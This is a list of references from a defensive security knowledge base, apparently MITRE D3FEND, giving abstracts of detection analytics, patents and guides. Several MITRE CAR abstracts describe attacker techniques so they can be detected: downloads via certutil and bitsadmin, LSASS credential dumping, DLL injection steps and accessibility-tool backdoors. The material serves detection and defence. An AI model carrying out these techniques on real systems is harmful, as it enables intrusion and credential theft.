Reference - CAR-2021-02-001: Webshell-Indicative Process Tree - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-02-001/
kb-abstract: A web shell is a web script placed on an openly accessible web server to allow an adversary to use the server as a gatway in a network. As the shell operates, commands will be issued from within the web application into the broader server operating system. This analytic looks for host enumeration executables initiated by any web service that would not normally be executed within that environment.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-02-001: Webshell-Indicative Process Tree

Reference - CAR-2021-02-002: Get System Elevation - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-02-002/
kb-abstract: Cyber actors frequently escalate to the SYSTEM account after gaining entry to a Windows host, to enable them to carry out various attacks more effectively. Tools such as Meterpreter, Cobalt Strike, and Empire carry out automated steps to “Get System”, which is the same as switching over to the System user account. Most of these tools utilize multiple techniques to try and attain SYSTEM: in the first technique, they create a named pipe and connects an instance of cmd.exe to it, which allows them to impersonate the security context of cmd.exe, which is SYSTEM. In the second technique, a malicious DLL is injected into a process that is running as SYSTEM; the injected DLL steals the SYSTEM token and applies it where necessary to escalate privileges. This analytic looks for both of these techniques.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2021-02-002: Get System Elevation

Reference - CAR-2021-04-001: Common Windows Process Masquerading - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-04-001/
kb-abstract: Masquerading (T1036) is defined by ATT&CK as follows: “Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.” Malware authors often use this technique to hide malicious executables behind legitimate Windows executable names (e.g. lsass.exe, svchost.exe, etc). There are several sub-techniques, but this analytic focuses on Match Legitimate Name or Location only.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-04-001: Common Windows Process Masquerading

Reference - CAR-2021-05-001: Attempt To Add Certificate To Untrusted Store - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-05-001/
kb-abstract: Adversaries may add their own root certificate to the certificate store, to cause the web browser to trust that certificate and not display a security warning when it encounters the previously unseen certificate. This action may be the precursor to malicious activity.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-05-001: Attempt To Add Certificate To Untrusted Store

Reference - CAR-2021-05-002: Batch File Write to System32 - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-05-002/
kb-abstract: While batch files are not inherently malicious, it is uncommon to see them created after OS installation, especially in the Windows directory. This analytic looks for the suspicious activity of a batch file being created within the C:\Windows\System32 directory tree. There will be only occasional false positives due to administrator actions.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-05-002: Batch File Write to System32

Reference - CAR-2021-05-004: BITS Job Persistence - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-05-004/
kb-abstract: The following query identifies Microsoft Background Intelligent Transfer Service utility bitsadmin.exe scheduling a BITS job to persist on an endpoint. The query identifies the parameters used to create, resume or add a file to a BITS job. Typically seen combined in a oneliner or ran in sequence. If identified, review the BITS job created and capture any files written to disk. It is possible for BITS to be used to upload files and this may require further network data analysis to identify. You can use bitsadmin /list /verbose to list out the jobs during investigation.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-05-004: BITS Job Persistence

Reference - CAR-2021-05-005: BITSAdmin Download File - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-05-005/
kb-abstract: The following query identifies Microsoft Background Intelligent Transfer Service utility bitsadmin.exe using the transfer parameter to download a remote object. In addition, look for download or upload on the command-line, the switches are not required to perform a transfer. Capture any files downloaded. Review the reputation of the IP or domain used. Typically once executed, a follow on command will be used to execute the dropped file. Note that the network connection or file modification events related will not spawn or create from bitsadmin.exe, but the artifacts will appear in a parallel process of svchost.exe with a command-line similar to svchost.exe -k netsvcs -s BITS. It’s important to review all parallel and child processes to capture any behaviors and artifacts. In some suspicious and malicious instances, BITS jobs will be created. You can use bitsadmin /list /verbose to list out the jobs during investigation.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-05-005: BITSAdmin Download File

Reference - CAR-2021-05-006: CertUtil Download With URLCache and Split Arguments - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-05-006/
kb-abstract: Certutil.exe may download a file from a remote destination using -urlcache. This behavior does require a URL to be passed on the command-line. In addition, -f (force) and -split (Split embedded ASN.1 elements, and save to files) will be used. It is not entirely common for certutil.exe to contact public IP space. However, it is uncommon for certutil.exe to write files to world writeable paths.\ During triage, capture any files on disk and review. Review the reputation of the remote IP or domain in question.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-05-006: CertUtil Download With URLCache and Split Arguments

Reference - CAR-2021-05-007: CertUtil Download With VerifyCtl and Split Arguments - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-05-007/
kb-abstract: Certutil.exe may download a file from a remote destination using -VerifyCtl. This behavior does require a URL to be passed on the command-line. In addition, -f (force) and -split (Split embedded ASN.1 elements, and save to files) will be used. It is not entirely common for certutil.exe to contact public IP space. \ During triage, capture any files on disk and review. Review the reputation of the remote IP or domain in question. Using -VerifyCtl, the file will either be written to the current working directory or %APPDATA%\..\LocalLow\Microsoft\CryptnetUrlCache\Content\<hash>.
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-05-007: CertUtil Download With VerifyCtl and Split Arguments

Reference - CAR-2021-05-008: Certutil exe certificate extraction - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-05-008/
kb-abstract: This search looks for arguments to certutil.exe indicating the manipulation or extraction of Certificate. This certificate can then be used to sign new authentication tokens specially inside Federated environments such as Windows ADFS.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-05-008: Certutil exe certificate extraction

Reference - CAR-2021-05-009: CertUtil With Decode Argument - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-05-009/
kb-abstract: CertUtil.exe may be used to encode and decode a file, including PE and script code. Encoding will convert a file to base64 with -----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- tags. Malicious usage will include decoding a encoded file that was downloaded. Once decoded, it will be loaded by a parallel process. Note that there are two additional command switches that may be used - encodehex and decodehex. Similarly, the file will be encoded in HEX and later decoded for further execution. During triage, identify the source of the file being decoded. Review its contents or execution behavior for further analysis.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-05-009: CertUtil With Decode Argument

Reference - CAR-2021-05-010: Create local admin accounts using net exe - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-05-010/
kb-abstract: This search looks for the creation of local administrator accounts using net.exe.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2021-05-010: Create local admin accounts using net exe

Reference - CAR-2021-05-011: Create Remote Thread into LSASS - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2021-05-011/
kb-abstract: Actors may create a remote thread into the LSASS service as part of a workflow to dump credentials.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: SystemCallAnalysis
kb-reference-title: CAR-2021-05-011: Create Remote Thread into LSASS

Reference - Integer Initialization - GNU C Manual
type: UserManualReference
type: NamedIndividual
has-link: https://www.gnu.org/software/gnu-c-manual/gnu-c-manual.html#Integer-Types
kb-organization: GNU
kb-reference-of: VariableInitialization
kb-reference-title: Integer Initialization in C

Reference - Memory Block Start Validation - GNU C Manual
type: UserManualReference
type: NamedIndividual
has-link: https://www.gnu.org/software/c-intro-and-ref/manual/html_node/Pointer-Arithmetic.html
kb-organization: GNU
kb-reference-of: Memory Block Start Validation
kb-reference-title: Pointer Arithmetic in C

Reference - CISA CPG Checklist
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.cisa.gov/resources-tools/resources/cisa-cpg-checklist
kb-abstract: This document is to be used in tandem with the CPGs to help prioritize and track your organization's implementation.
kb-author: CISA
kb-reference-of: ChangeDefaultPassword
kb-reference-title: CISA CPG Checklist

Reference - Certificate and Public Key Pinning
type: TechniqueReference
type: NamedIndividual
has-link: https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinning
kb-abstract: Certificate and Public Key Pinning technical guide to implementing certificate and public key pinning.
kb-author: OWASP
kb-organization: OWASP
kb-reference-of: CertificatePinning
kb-reference-title: Certificate and Public Key Pinning

Reference - Certificate Transparency
type: TechniqueReference
type: NamedIndividual
has-link: https://www.certificate-transparency.org/
kb-abstract: Google's Certificate Transparency project fixes several structural flaws in the SSL certificate system, which is the main cryptographic system that underlies all HTTPS connections. These flaws weaken the reliability and effectiveness of encrypted Internet connections and can compromise critical TLS/SSL mechanisms, including domain validation, end-to-end encryption, and the chains of trust set up by certificate authorities.
kb-author: Google
kb-organization: Google
kb-reference-of: PassiveCertificateAnalysis
kb-reference-title: Certificate Transparency

Reference - Cisco ASR 9000 Series Aggregation Services Routers - Access List Commands
type: UserManualReference
type: NamedIndividual
has-link: https://www.cisco.com/c/en/us/td/docs/routers/asr9000/software/asr9k_r4-0/addr_serv/command/reference/ir40asrbook_chapter1.html
kb-abstract: An access control list (ACL) consists of one or more access control entries (ACEs) that collectively define the network traffic profile. This profile can then be referenced by Cisco IOS XR Software software features such as traffic filtering, priority or custom queueing, and dynamic access control. Each ACL includes an action element (permit or deny) and a filter element based on criteria such as source address, destination address, protocol, and protocol-specific parameters.
kb-organization: Cisco
kb-reference-of: NetworkTrafficPolicyMapping
kb-reference-title: Cisco ASR 9000 Series Aggregation Services Routers - Access List Commands

Reference - CAR-2014-11-008: Command Launched from WinLogon - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2014-11-008/
kb-abstract: An adversary can use accessibility features (Ease of Access), such as StickyKeys or Utilman, to launch a command shell from the logon screen and gain SYSTEM access. Since an adversary does not have physical access to the machine, this technique must be run within Remote Desktop. To prevent an adversary from getting to the login screen without first authenticating, Network-Level Authentication (NLA) must be enabled. If a debugger is set up for one of the accessibility features, then it will intercept the process launch of the feature and instead execute a new command line. This analytic looks for instances of cmd.exe or powershell.exe launched directly from the logon process, winlogon.exe. It should be used in tandem with CAR-2014-11-003, which detects the accessibility programs in the command line.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2014-11-008: Command Launched from WinLogon

Reference - CAR-2013-07-005: Command Line Usage of Archiving Software - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-07-005/
kb-abstract: Before exfiltrating data that an adversary has collected, it is very likely that a compressed archive will be created, so that transfer times are minimized and fewer files are transmitted. There is variety between the tools used to compress data, but the command line usage and context of archiving tools, such as ZIP, RAR, and 7ZIP, should be monitored. In addition to looking for RAR or 7z program names, command line usage of 7Zip or RAR can be detected with the flag usage of "\* a \*". This is helpful, as adversaries may change program names.
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2013-07-005: Command Line Usage of Archiving Software

Reference - Computational modeling and classification of data streams - Crowdstrike Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20180197089A1/en
kb-abstract: Example techniques described herein determine a signature or classification of a data stream such as a file. The classification can indicate whether the data stream is associated with malware. A processor can locate training analysis regions of training data streams based on predetermined structure data, and determining training model inputs based on the training analysis regions. The processor can determine a computational model based on the training model inputs. The computational model can receive an input vector and provide a corresponding feature vector. The processor can then locate a trial analysis region of a trial data stream based on the predetermined structure data and determine a trial model input. The processor can operate the computational model based on the trial model input to provide a trial feature vector, e.g., a signature. The processor can operate a second computational model to provide a classification based on the signature.
kb-author: Sven Krasser; David Elkind; Patrick Crenshaw; Brett Meyer
kb-mitre-analysis: Provides a mechanism to classify files using file signatures based on a computational model. Training data that comprises at least a portion of a file, e.g. number of bytes, is used as input to the computational model to develop a file signature and classify the file as malware.
kb-organization: Crowdstrike Inc
kb-reference-of: FileContentRules
kb-reference-title: Computational modeling and classification of data streams

Reference - Computer-implemented methods and systems for identifying visually similar text character strings - Greathorn Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10320815B2/en
kb-abstract: Methods and systems are disclosed for selecting text character strings from a corpus of relevant strings that would commonly be considered to be visually similar to human viewer to an input string. The initial corpus may be any sufficiently broad or specific source of text, e.g., the names of users in a computer application system. The character strings in the corpus are classified such that direct, character-by-character comparisons may be limited to a small subset of likely-similar strings. The input string is then directly compared to strings that are likely to be similar to it, taking into account individual characters' similarities, combinations of characters that look similar to individual characters, transposition of characters, and simple additions and deletions.
kb-author: Raymond W. Wallace, III
kb-mitre-analysis: Text input is compared to an engine of look-alike sets of text characters. An estimate of similar characters based on the engine is conducted, and an alert is triggered if the estimated similarity is lower than a given threshold.
kb-organization: Greathorn Inc
kb-reference-of: HomoglyphDetection
kb-reference-title: Computer-implemented methods and systems for identifying visually similar text character strings

Reference - Computer motherboard having peripheral security functions
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US8869308B2/en
kb-abstract: A secure motherboard for a computer, wherein each user accessible peripheral port is protected by hardware based peripheral protection circuitry soldered to the motherboard.
kb-author: Aviv Soffer
kb-organization: High Sec Labs Ltd
kb-reference-of: IOPortRestriction
kb-reference-title: Computer motherboard having peripheral security functions

Reference - Computer Worm Defense System and Method - FireEye Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20130036472A1
kb-abstract: "A computer worm defense system comprises multiple containment systems tied together by a management system. Each containment system is deployed on a separate communication network and contains a worm sensor and a blocking system. In various embodiments, the computer worm may be transported from a production network, where the computer worm is not readily identifiable, to an alternate network in the worm sensor where the computer worm may be readily identifiable. Computer worm identifiers generated by a worm sensor of one containment system can be provided not only to the blocking system of the same containment system, but can also be distributed by the management system to blocking systems of other containment systems."
kb-author: Ashar Aziz
kb-mitre-analysis: This patent describes network data being copied by a tap and then analyzed in an analysis environment to determine whether the network data is suspicious using a heuristic module. The analysis environment replays transmission of the suspicious network data between a configured replayer and a virtual machine to detect unauthorized activity.
kb-organization: FireEye Inc
kb-reference-of: File Carving
kb-reference-title: Computer Worm Defense System and Method

Reference - Computing apparatus with automatic integrity reference generation and maintenance - Tripwire, Inc.
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20040060046A1
kb-abstract: An apparatus is equipped to automatically update one or more integrity references of a software entity, when the software entity is installed onto the apparatus. The apparatus is further equipped to periodically determine whether the integrity of the apparatus has been compromised based at least in part on the one or more integrity references of the software entity that are automatically updated during installation of the software entity.
kb-author: Thomas Good, Robert DiFalco, Gene Kim
kb-organization: Tripwire, Inc.
kb-reference-of: ExecutableAllowlisting
kb-reference-title: Computing apparatus with automatic integrity reference generation and maintenance

Reference - Configure User Access Control and Permissions
type: InternetArticleReference
type: NamedIndividual
has-link: https://docs.microsoft.com/en-us/windows-server/manage/windows-admin-center/configure/user-access-control
kb-abstract: When deployed on Windows Server, Windows Admin Center provides a centralized point of management for your server environment. By controlling access to Windows Admin Center, you can improve the security of your management landscape.
kb-author: Microsoft
kb-reference-of: UserAccountPermissions
kb-reference-title: Configure User Access Control and Permissions

Reference - Container Image Analysis
type: InternetArticleReference
type: NamedIndividual
has-link: https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/0/CTR_Kubernetes_Hardening_Guidance_1.1_20220315.PDF
kb-abstract: Container Images can contain unneeded, unsecured or insecure files. By analyzing the container image, we can identify whether it respects a specific set of predefined policies.
kb-author: National Security Agency
kb-reference-of: Container Image Analysis
kb-reference-title: Kubernetes Hardening Guide

Reference - Content extractor and analysis system - Bit 9 Inc, Carbon Black Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20070028110A1
kb-abstract: A security system provides a defense from known and unknown viruses, worms, spyware, hackers, and unwanted software. The system can implement centralized policies that allow an administrator to approve, block, quarantine, and log file activities. The system can extract content of interest from a file container, repackage the content of interest as another valid file type, perform hashes on the content of interest, associate the hash of the container with the hash of the repackaged content, transfer the repackaged content, and store the hash with other security-related information.
kb-author: Todd Brennan
kb-organization: Bit 9 Inc, Carbon Black Inc
kb-reference-of: ExecutableDenylisting
kb-reference-title: Content extractor and analysis system

Reference - Continuous authentication by analysis of keyboard typing characteristics - Bradford Univ., UK
type: AcademicPaperReference
type: NamedIndividual
has-link: https://ieeexplore.ieee.org/document/491588
kb-abstract: This paper describes a simple, software based keyboard monitoring system for the IBM PC for the continuous analysis of the typing characteristics of the user for the purpose of continuous authentication. By exploiting the electrical characteristics of the PC keyboard interface together with modifications to the internal system timer, very accurate measurements can be made of keystroke interval and duration, including measurements of rollover. Rollover patterns, particularly when typing common diphthongs, can be highly characteristic of individual users and provide quite an accurate indication of the users identity. Published in: European Convention on Security and Detection, 1995.
kb-author: S.J. Shepherd
kb-organization: Bradford Univ., UK
kb-reference-of: InputDeviceAnalysis
kb-reference-title: Continuous authentication by analysis of keyboard typing characteristics

Reference - CAR-2019-04-004: Credential Dumping via Mimikatz - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2019-04-004/
kb-abstract: Credential dumpers like Mimikatz can be loaded into memory and from there read data from another processes. This analytic looks for instances where processes are requesting specific permissions to read parts of the LSASS process in order to detect when credential dumping is occurring. One weakness is that all current implementations are "overtuned" to look for common access patterns used by Mimikatz.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2019-04-004: Credential Dumping via Mimikatz

Reference - CAR-2019-08-001: Credential Dumping via Windows Task Manager - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2019-08-001/
kb-abstract: The Windows Task Manager may be used to dump the memory space of lsass.exe to disk for processing with a credential access tool such as Mimikatz. This is performed by launching Task Manager as a privileged user, selecting lsass.exe, and clicking "Create dump file". This saves a dump file to disk with a deterministic name that includes the name of the process being dumped. This requires filesystem data to determine whether files have been created.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: SystemCallAnalysis
kb-reference-title: CAR-2019-08-001: Credential Dumping via Windows Task Manager

Reference - Cyber Command System (CYCS)
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.mitre.org/research/technology-transfer/technology-licensing/cyber-command-system-cycs
kb-abstract: MITRE’s Cyber Command System (CyCS) tool addresses the objective of improved mission assurance in cyberspace by enabling the mapping of mission operations to the network operations that support those missions. This tool provides mission-impact assessment through situational awareness and impact analysis. CyCS addresses mission-assurance challenges for highly distributed enterprise systems of systems through vulnerability, threat, and consequence management.
kb-organization: MITRE
kb-reference-of: OperationalDependencyMapping
kb-reference-title: Cyber Command System (CYCS)

Reference - Cyber vaccine and predictive-malware-defense methods and systems
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10848519B2/
kb-abstract: Methods and systems for Predictive Malware Defense (PMD) are described. The systems and methods can utilize advanced machine-learning (ML) techniques to generate malware defenses preemptively. Embodiments of PMD can utilize models, which are trained on features extracted from malware families, to predict possible courses of malware evolution. PMD captures these predicted future evolutions in signatures of as yet unseen malware variants to function as a malware vaccine. These signatures of predicted future malware “evolutions” can be added to the training set of a machine-learning (ML) based malware detection and/or mitigation system so that it can detect these new variants as they arrive.
kb-author: Michael Howard, Avi Pfeifer, Mukesh Dalal, Michael Reposa
kb-organization: Charles River Analytics Inc.
kb-reference-of: FileContentAnalysis
kb-reference-title: Cyber vaccine and predictive-malware-defense methods and systems

Reference - DHS CCTV Technology Handbook
type: GuidelineReference
type: NamedIndividual
has-link: https://www.dhs.gov/sites/default/files/publications/CCTV-Tech-HBK_0713-508.pdf
kb-abstract: A publicly available handbook describing CCTV technologies, components, and considerations for deployment.
kb-author: U.S. Department of Homeland Security
kb-reference-of: VideoSurveillance
kb-reference-title: CCTV Technology Handbook

Reference - CAR-2013-10-002: DLL Injection via Load Library - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-10-002/
kb-abstract: Microsoft Windows allows for processes to remotely create threads within other processes of the same privilege level. This functionality is provided via the Windows API CreateRemoteThread. Both Windows and third-party software use this ability for legitimate purposes. For example, the Windows process csrss.exe creates threads in programs to send signals to registered callback routines. Both adversaries and host-based security software use this functionality to inject DLLs, but for very different purposes. An adversary is likely to inject into a program to evade defenses or bypass User Account Control, but a security program might do this to gain increased monitoring of API calls. One of the most common methods of DLL Injection is through the Windows API LoadLibrary. Allocate memory in the target program with VirtualAllocEx Write the name of the DLL to inject into this program with WriteProcessMemory Create a new thread and set its entry point to LoadLibrary using the API CreateRemoteThread. This behavior can be detected by looking for thread creations across processes, and resolving the entry point to determine the function name. If the function is LoadLibraryA or LoadLibraryW, then the intent of the remote thread is clearly to inject a DLL. When this is the case, the source process must be examined so that it can be ignored when it is both expected and a trusted process.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: SystemCallAnalysis
kb-reference-title: CAR-2013-10-002: DLL Injection via Load Library

Reference - DNS Whitelist (DNSWL) Email Authentication Method Extension
type: SpecificationReference
type: NamedIndividual
has-link: https://datatracker.ietf.org/doc/html/rfc8904
kb-reference-of: DNSAllowlisting
kb-reference-title: DNS Whitelist (DNSWL) Email Authentication Method Extension

Reference - /DYNAMICBASE (Use address space layout randomization) - Microsoft Docs
type: UserManualReference
type: NamedIndividual
has-link: https://docs.microsoft.com/en-us/cpp/build/reference/dynamicbase-use-address-space-layout-randomization
kb-author: Microsoft
kb-organization: Microsoft
kb-reference-of: SegmentAddressOffsetRandomization
kb-reference-title: /DYNAMICBASE (Use address space layout randomization)

Reference - Dagger Fact Sheet
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.jhuapl.edu/dagger/documents/DaggerFactSheet.pdf
kb-abstract: Dagger is a modeling and visualization tool suite that shows how system failures impact mission status. Updated with manual or real-time status, Dagger is used for mission/system planning, situational awareness during mission execution, and course-of-action analysis.
kb-author: Jackie Soenneker
kb-organization: JHU APL
kb-reference-of: OperationalDependencyMapping
kb-reference-title: Dagger Fact Sheet

Reference - Dagger: Modeling and visualization for mission impact situational awareness
type: AcademicPaperReference
type: NamedIndividual
has-link: https://ieeexplore.ieee.org/document/7795296
kb-abstract: Dagger is a modeling and visualization framework that addresses the challenge of representing knowledge and information for decision-makers, enabling them to better comprehend the operational context of network security data. It allows users to answer critical questions such as “Given that I care about mission X, is there any reason I should be worried about what is going on in cyberspace?” or “If this system fails, will I still be able to accomplish my mission?”.
kb-author: Elisha Peterson
kb-organization: JHU APL
kb-reference-of: OperationalDependencyMapping
kb-reference-title: Dagger: Modeling and visualization for mission impact situational awareness

Reference - Mitigate threats by using Windows 10 security features: Data Execution Prevention - Microsoft
type: UserManualReference
type: NamedIndividual
has-link: https://docs.microsoft.com/en-us/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10#data-execution-prevention
kb-abstract: Malware depends on its ability to insert a malicious payload into memory with the hope that it will be executed later. Wouldn't it be great if you could prevent malware from running if it wrote to an area that has been allocated solely for the storage of information? Data Execution Prevention (DEP) does exactly that, by substantially reducing the range of memory that malicious code can use for its benefit. DEP uses the No eXecute bit on modern CPUs to mark blocks of memory as read-only so that those blocks can't be used to execute malicious code that may be inserted by means of a vulnerability exploit.
kb-author: Nick Schonning, Daniel Simpson, Marty Hernandez Avedon, Trond B. Krokli, jreeds, jcaparas, Andres Mariano Gorzelany, Tina Burden, Thomas Raya, Justin Hall, justanotheranonymoususer, Liza Poggemeyer, Dani Halfin, imba-tjd (Authors for entire page)
kb-organization: Microsoft
kb-reference-of: ProcessSegmentExecutionPrevention
kb-reference-title: Mitigate threats by using Windows 10 security features: Data Execution Prevention

Reference - Data processing and scanning systems for generating and populating a data inventory
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US11240273B2/
kb-abstract: In particular embodiments, a data processing data inventory generation system is configured to: (1) generate a data model (e.g., a data inventory) for one or more data assets utilized by a particular organization; (2) generate a respective data inventory for each of the one or more data assets; and (3) map one or more relationships between one or more aspects of the data inventory, the one or more data assets, etc. within the data model. In particular embodiments, a data asset (e.g., data system, software application, etc.) may include, for example, any entity that collects, processes, contains, and/or transfers personal data (e.g., such as a software application, “internet of things” computerized device, database, website, data-center, server, etc.). The system may be configured to identify particular data assets and/or personal data in data repositories using any suitable intelligent identity scanning technique.
kb-author: Kabir A. Barday, Mihir S. Karanjkar, Steven W. Finch, Ken A. Browne, Nathan W. Heard, Aakash H. Patel, Jason L. Sabourin, Richard L. Daniel, Dylan D. Patton-Kuhl, Jonathan Blake Brannon
kb-organization: OneTrust LLC
kb-reference-of: Data Inventory
kb-reference-title: Data processing and scanning systems for generating and populating a data inventory

Reference - Dead code elimination
type: AcademicPaperReference
type: NamedIndividual
has-link: https://nebelwelt.net/files/15LangSec.pdf
kb-abstract: There is a significant body of work devoted to testing, verifying, and certifying the correctness of optimizing compilers. The focus of such work is to determine if source code and optimized code have the same functional semantics. In this paper, we introduce the correctness-security gap, which arises when a compiler optimization preserves the functionality of but violates a security guarantee made by source code. We show with concrete code examples that several standard optimizations, which have been formally proved correct, inhabit this correctness-security gap. We analyze this gap and conclude that it arises due to techniques that model the state of the program but not the state of the underlying machine. We propose a broad research program whose goal is to identify, understand, and mitigate the impact of security errors introduced by compiler optimizations. Our proposal includes research in testing, program analysis, theorem proving, and the development of new, accurate machine models for reasoning about the impact of compiler optimizations on security.
kb-author: Vijay D'Silva, Mathias Payer, Dawn Song
kb-organization: Google Inc, Purdue University, UC Berkeley
kb-reference-of: DeadCodeElimination
kb-reference-title: The Correctness-Security Gap in Compiler Optimization

Reference - CAR-2014-11-003: Debuggers for Accessibility Applications - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2014-11-006/
kb-abstract: The Windows Registry location HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options allows for parameters to be set for applications during execution. One feature used by malicious actors is the "Debugger" option. When a key has this value enabled, a Debugging command line can be specified. Windows will launch the Debugging command line, and pass the original command line in as an argument. Adversaries can set a Debugger for Accessibility Applications. The analytic looks for the original command line as an argument to the Debugger. When the strings "sethc.exe", "utilman.exe", "osk.exe", "narrator.exe", and "Magnify.exe" are detected in the arguments, but not as the main executable, it is very likely that a Debugger is set. This analytic could depend on the possibility of the known strings used as arguments for other applications used in the day-to-day environment. Although the chance of the string "sethc.exe" being used as an argument for another application is unlikely, it still is a possibility.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2014-11-003: Debuggers for Accessibility Applications

Reference - Deception-Based Responses to Security Attacks - Crowdstrike Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20140250524A1/en
kb-abstract: Deception-based techniques for responding to security attacks are described herein. The techniques include transitioning a security attack to a monitored computing device posing as a computing device impacted by the security attack and enabling the adversary to obtain deceptive information from the monitored computing device. Also, the adversary may obtain a document configured to report identifying information of an entity opening the document, thereby identifying the adversary associated with the attack. Further, the techniques include determining that a domain specified in a domain name request is associated with malicious activity and responding to the request with a network address of a monitored computing device to cause the requesting process to communicate with the monitored computing device in place of an adversary server. Additionally, a service may monitor dormant domains names associated with malicious activity and, in response to a change, respond with an alert or a configuration update.
kb-author: Adam S. Meyers; Dmitri Alperovitch; George Robert Kurtz; David F. Diehl; Sven Krasser
kb-organization: Crowdstrike Inc
kb-reference-of: DecoyNetworkResource
kb-reference-title: Deception-Based Responses to Security Attacks

Reference - Decoy and deceptive data object technology - Cymmetria, Inc.
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170134423A1
kb-abstract: A computer implemented method of detecting unauthorized access to a protected network by monitoring a dynamically updated deception environment, comprising launching, on one or more decoy endpoints, one or more decoy operating system (OS) managing one or more of a plurality of deception applications mapping a plurality of applications executed in a protected network, updating dynamically a usage indication for a plurality of deception data objects deployed in the protected network to emulate usage of the plurality of deception data objects for accessing the deception application(s) wherein the plurality of deception data objects are configured to trigger an interaction with the deception application(s) when used, detecting usage of data contained in the deception data object(s) by monitoring the interaction and identifying one or more potential unauthorized operations based on analysis of the detection. In order to convince the potential attacker that the deception environment is the real (valid) processing environment and/or part thereof, the campaign manager may construct the false identity according to the public information of the certain user that may typically be available to the potential attacker. By exposing the real (public) information of the certain user to the potential attacker, the false identity may seem consistent and legitimate to the potential attacker. For example, the campaign manager may create a false account, for example, a Facebook account of the certain user that includes the same public information that is publicly available to other Facebook users from the real (genuine) Facebook account of the certain user. The fake company account may include information specific to the role and/or job title of certain user within the company, for example, a programmer, an accountant, an IT person and/or the like.
kb-author: Dean Sysman, Gadi Evron, Imri Goldberg, Itamar Sher, Shmuel Ur
kb-organization: Cymmetria, Inc.
kb-reference-of: DecoyPersona
